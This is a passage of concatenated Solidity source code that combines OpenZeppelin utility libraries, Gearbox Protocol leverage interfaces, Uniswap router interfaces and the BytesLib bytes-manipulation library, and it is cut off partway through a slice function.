* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
/// @title Reusable Credit Account interface
/// @notice Implements general credit account:
/// - Keeps token balances
/// - Keeps token balances
/// - Stores general parameters: borrowed amount, cumulative index at open and block when it was initialized
/// - Approves tokens for 3rd party contracts
/// - Transfers assets
/// - Execute financial orders
///
/// More: https://dev.gearbox.fi/developers/creditManager/vanillacreditAccount
interface ICreditAccount {
/// @dev Initializes clone contract
function initialize() external;
/// @dev Connects credit account to credit manager
/// @param _creditManager Credit manager address
function connectTo(
address _creditManager,
uint256 _borrowedAmount,
uint256 _cumulativeIndexAtOpen
) external;
// /// @dev Set general credit account parameters. Restricted to credit managers only
// /// @param _borrowedAmount Amount which pool lent to credit account
// /// @param _cumulativeIndexAtOpen Cumulative index at open. Uses for interest calculation
// function setGenericParameters(
//
// ) external;
/// @dev Updates borrowed amount. Restricted to credit managers only
/// @param _borrowedAmount Amount which pool lent to credit account
function updateParameters(
uint256 _borrowedAmount,
uint256 _cumulativeIndexAtOpen
) external;
/// @dev Approves particular token for swap contract
/// @param token ERC20 token for allowance
/// @param swapContract Swap contract address
function approveToken(address token, address swapContract) external;
/// @dev Cancels allowance for particular contract
/// @param token Address of token for allowance
/// @param targetContract Address of contract to cancel allowance
function cancelAllowance(address token, address targetContract) external;
/// Transfers tokens from credit account to provided address. Restricted for pool calls only
/// @param token Token which should be tranferred from credit account
/// @param to Address of recipient
/// @param amount Amount to be transferred
function safeTransfer(
address token,
address to,
uint256 amount
) external;
/// @dev Returns borrowed amount
function borrowedAmount() external view returns (uint256);
/// @dev Returns cumulative index at time of opening credit account
function cumulativeIndexAtOpen() external view returns (uint256);
/// @dev Returns Block number when it was initialised last time
function since() external view returns (uint256);
/// @dev Address of last connected credit manager
function creditManager() external view returns (address);
/// @dev Address of last connected credit manager
function factory() external view returns (address);
/// @dev Executed financial order on 3rd party service. Restricted for pool calls only
/// @param destination Contract address which should be called
/// @param data Call data which should be sent
function execute(address destination, bytes memory data)
external
returns (bytes memory);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
pragma abicoder v2;
import {DataTypes} from "../libraries/data/Types.sol";
interface IAccountFactory {
// emits if new account miner was changed
event AccountMinerChanged(address indexed miner);
// emits each time when creditManager takes credit account
event NewCreditAccount(address indexed account);
// emits each time when creditManager takes credit account
event InitializeCreditAccount(
address indexed account,
address indexed creditManager
);
// emits each time when pool returns credit account
event ReturnCreditAccount(address indexed account);
// emits each time when DAO takes account from account factory forever
event TakeForever(address indexed creditAccount, address indexed to);
/// @dev Provide new creditAccount to pool. Creates a new one, if needed
/// @return Address of creditAccount
function takeCreditAccount(
uint256 _borrowedAmount,
uint256 _cumulativeIndexAtOpen
) external returns (address);
/// @dev Takes credit account back and stay in tn the queue
/// @param usedAccount Address of used credit account
function returnCreditAccount(address usedAccount) external;
/// @dev Returns address of next available creditAccount
function getNext(address creditAccount) external view returns (address);
/// @dev Returns head of list of unused credit accounts
function head() external view returns (address);
/// @dev Returns tail of list of unused credit accounts
function tail() external view returns (address);
/// @dev Returns quantity of unused credit accounts in the stock
function countCreditAccountsInStock() external view returns (uint256);
/// @dev Returns credit account address by its id
function creditAccounts(uint256 id) external view returns (address);
/// @dev Quantity of credit accounts
function countCreditAccounts() external view returns (uint256);
// function miningApprovals(uint i) external returns(DataTypes.MiningApproval calldata);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {IAppPoolService} from "./app/IAppPoolService.sol";
/// @title Pool Service Interface
/// @notice Implements business logic:
/// - Adding/removing pool liquidity
/// - Managing diesel tokens & diesel rates
/// - Lending/repaying funds to credit Manager
/// More: https://dev.gearbox.fi/developers/pool/abstractpoolservice
interface IPoolService is IAppPoolService {
// Emits each time when LP adds liquidity to the pool
event AddLiquidity(
address indexed sender,
address indexed onBehalfOf,
uint256 amount,
uint256 referralCode
);
// Emits each time when LP removes liquidity to the pool
event RemoveLiquidity(
address indexed sender,
address indexed to,
uint256 amount
);
// Emits each time when Credit Manager borrows money from pool
event Borrow(
address indexed creditManager,
address indexed creditAccount,
uint256 amount
);
// Emits each time when Credit Manager repays money from pool
event Repay(
address indexed creditManager,
uint256 borrowedAmount,
uint256 profit,
uint256 loss
);
// Emits each time when Interest Rate model was changed
event NewInterestRateModel(address indexed newInterestRateModel);
// Emits each time when new credit Manager was connected
event NewCreditManagerConnected(address indexed creditManager);
// Emits each time when borrow forbidden for credit manager
event BorrowForbidden(address indexed creditManager);
// Emits each time when uncovered (non insured) loss accrued
event UncoveredLoss(address indexed creditManager, uint256 loss);
// Emits after expected liquidity limit update
event NewExpectedLiquidityLimit(uint256 newLimit);
// Emits each time when withdraw fee is udpated
event NewWithdrawFee(uint256 fee);
//
// LIQUIDITY MANAGEMENT
//
/**
* @dev Adds liquidity to pool
* - transfers lp tokens to pool
* - mint diesel (LP) tokens and provide them
* @param amount Amount of tokens to be transfer
* @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
* wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
* is a different wallet
* @param referralCode Code used to register the integrator originating the operation, for potential rewards.
* 0 if the action is executed directly by the user, without any middle-man
*/
function addLiquidity(
uint256 amount,
address onBehalfOf,
uint256 referralCode
) external override;
/**
* @dev Removes liquidity from pool
* - burns lp's diesel (LP) tokens
* - returns underlying tokens to lp
* @param amount Amount of tokens to be transfer
* @param to Address to transfer liquidity
*/
function removeLiquidity(uint256 amount, address to)
external
override
returns (uint256);
/**
* @dev Transfers money from the pool to credit account
* and updates the pool parameters
* @param borrowedAmount Borrowed amount for credit account
* @param creditAccount Credit account address
*/
function lendCreditAccount(uint256 borrowedAmount, address creditAccount)
external;
/**
* @dev Recalculates total borrowed & borrowRate
* mints/burns diesel tokens
*/
function repayCreditAccount(
uint256 borrowedAmount,
uint256 profit,
uint256 loss
) external;
//
// GETTERS
//
/**
* @return expected pool liquidity
*/
function expectedLiquidity() external view returns (uint256);
/**
* @return expected liquidity limit
*/
function expectedLiquidityLimit() external view returns (uint256);
/**
* @dev Gets available liquidity in the pool (pool balance)
* @return available pool liquidity
*/
function availableLiquidity() external view returns (uint256);
/**
* @dev Calculates interest accrued from the last update using the linear model
*/
function calcLinearCumulative_RAY() external view returns (uint256);
/**
* @dev Calculates borrow rate
* @return borrow rate in RAY format
*/
function borrowAPY_RAY() external view returns (uint256);
/**
* @dev Gets the amount of total borrowed funds
* @return Amount of borrowed funds at current time
*/
function totalBorrowed() external view returns (uint256);
/**
* @return Current diesel rate
**/
function getDieselRate_RAY() external view returns (uint256);
/**
* @dev Underlying token address getter
* @return address of underlying ERC-20 token
*/
function underlyingToken() external view returns (address);
/**
* @dev Diesel(LP) token address getter
* @return address of diesel(LP) ERC-20 token
*/
function dieselToken() external view returns (address);
/**
* @dev Credit Manager address getter
* @return address of Credit Manager contract by id
*/
function creditManagers(uint256 id) external view returns (address);
/**
* @dev Credit Managers quantity
* @return quantity of connected credit Managers
*/
function creditManagersCount() external view returns (uint256);
function creditManagersCanBorrow(address id) external view returns (bool);
function toDiesel(uint256 amount) external view returns (uint256);
function fromDiesel(uint256 amount) external view returns (uint256);
function withdrawFee() external view returns (uint256);
function _timestampLU() external view returns (uint256);
function _cumulativeIndex_RAY() external view returns (uint256);
function calcCumulativeIndexAtBorrowMore(
uint256 amount,
uint256 dAmount,
uint256 cumulativeIndexAtOpen
) external view returns (uint256);
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
interface IWETHGateway {
/// @dev convert ETH to WETH and add liqudity to pool
/// @param pool Address of PoolService contract which where user wants to add liquidity. This pool should has WETH as underlying asset
/// @param onBehalfOf The address that will receive the diesel tokens, same as msg.sender if the user wants to receive them on his
/// own wallet, or a different address if the beneficiary of diesel tokens is a different wallet
/// @param referralCode Code used to register the integrator originating the operation, for potential rewards.
/// 0 if the action is executed directly by the user, without any middle-man
function addLiquidityETH(
address pool,
address onBehalfOf,
uint16 referralCode
) external payable;
/// @dev Removes liquidity from pool and convert WETH to ETH
/// - burns lp's diesel (LP) tokens
/// - returns underlying tokens to lp
/// @param pool Address of PoolService contract which where user wants to withdraw liquidity. This pool should has WETH as underlying asset
/// @param amount Amount of tokens to be transfer
/// @param to Address to transfer liquidity
function removeLiquidityETH(
address pool,
uint256 amount,
address payable to
) external;
/// @dev Opens credit account in ETH
/// @param creditManager Address of credit Manager. Should used WETH as underlying asset
/// @param onBehalfOf The address that we open credit account. Same as msg.sender if the user wants to open it for his own wallet,
/// or a different address if the beneficiary is a different wallet
/// @param leverageFactor Multiplier to borrowers own funds
/// @param referralCode Code used to register the integrator originating the operation, for potential rewards.
/// 0 if the action is executed directly by the user, without any middle-man
function openCreditAccountETH(
address creditManager,
address payable onBehalfOf,
uint256 leverageFactor,
uint256 referralCode
) external payable;
/// @dev Repays credit account in ETH
/// - transfer borrowed money with interest + fee from borrower account to pool
/// - transfer all assets to "to" account
/// @param creditManager Address of credit Manager. Should used WETH as underlying asset
/// @param to Address to send credit account assets
function repayCreditAccountETH(address creditManager, address to)
external
payable;
function addCollateralETH(address creditManager, address onBehalfOf)
external
payable;
/// @dev Unwrap WETH => ETH
/// @param to Address to send eth
/// @param amount Amount of WETH was transferred
function unwrapWETH(address to, uint256 amount) external;
}
// SPDX-License-Identifier: BUSL-1.1
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
import {Pausable} from "@openzeppelin/contracts/utils/Pausable.sol";
import {AddressProvider} from "./AddressProvider.sol";
import {ACL} from "./ACL.sol";
import {Errors} from "../libraries/helpers/Errors.sol";
/// @title ACL Trait
/// @notice Trait which adds acl functions to contract
abstract contract ACLTrait is Pausable {
// ACL contract to check rights
ACL private _acl;
/// @dev constructor
/// @param addressProvider Address of address repository
constructor(address addressProvider) {
require(
addressProvider != address(0),
Errors.ZERO_ADDRESS_IS_NOT_ALLOWED
);
_acl = ACL(AddressProvider(addressProvider).getACL());
}
/// @dev Reverts if msg.sender is not configurator
modifier configuratorOnly() {
require(
_acl.isConfigurator(msg.sender),
Errors.ACL_CALLER_NOT_CONFIGURATOR
); // T:[ACLT-8]
_;
}
///@dev Pause contract
function pause() external {
require(
_acl.isPausableAdmin(msg.sender),
Errors.ACL_CALLER_NOT_PAUSABLE_ADMIN
); // T:[ACLT-1]
_pause();
}
/// @dev Unpause contract
function unpause() external {
require(
_acl.isUnpausableAdmin(msg.sender),
Errors.ACL_CALLER_NOT_PAUSABLE_ADMIN
); // T:[ACLT-1],[ACLT-2]
_unpause();
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
// Gearbox Protocol. Generalized leverage for DeFi protocols
// (c) Gearbox Holdings, 2021
pragma solidity ^0.7.4;
/// @title POptimised for front-end Pool Service Interface
interface IAppPoolService {
function addLiquidity(
uint256 amount,
address onBehalfOf,
uint256 referralCode
) external;
function removeLiquidity(uint256 amount, address to) external returns(uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external override view returns (address);
function WETH() external override view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external override returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external override payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external override returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external override returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external override returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external override returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external override returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external override returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external override
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external override
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external override view returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external override view returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external override view returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external override view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external override view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external view returns (address);
function WETH() external view returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external view returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external view returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external view returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.7.5;
pragma abicoder v2;
import './IUniswapV3SwapCallback.sol';
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface ISwapRouter {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn);
}
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* @title Solidity Bytes Arrays Utils
* @author Gonçalo Sá <[email protected]>
*
* @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity.
* The library lets you concatenate, slice and type cast bytes arrays both in memory and storage.
*/
pragma solidity >=0.5.0 <0.8.0;
library BytesLib {
function concat(bytes memory _preBytes, bytes memory _postBytes)
internal
pure
returns (bytes memory)
{
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(
0x40,
and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.
)
)
}
return tempBytes;
}
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, "slice_overflow");
require(_start + _length >= _start, "slice_overflow");
require(_bytes.length >= _start + _length, "slice_outOfBounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(
add(tempBytes, lengthmod),
mul(0x20, iszero(lengthmod))
)
let end := add(mc, _length)
for {
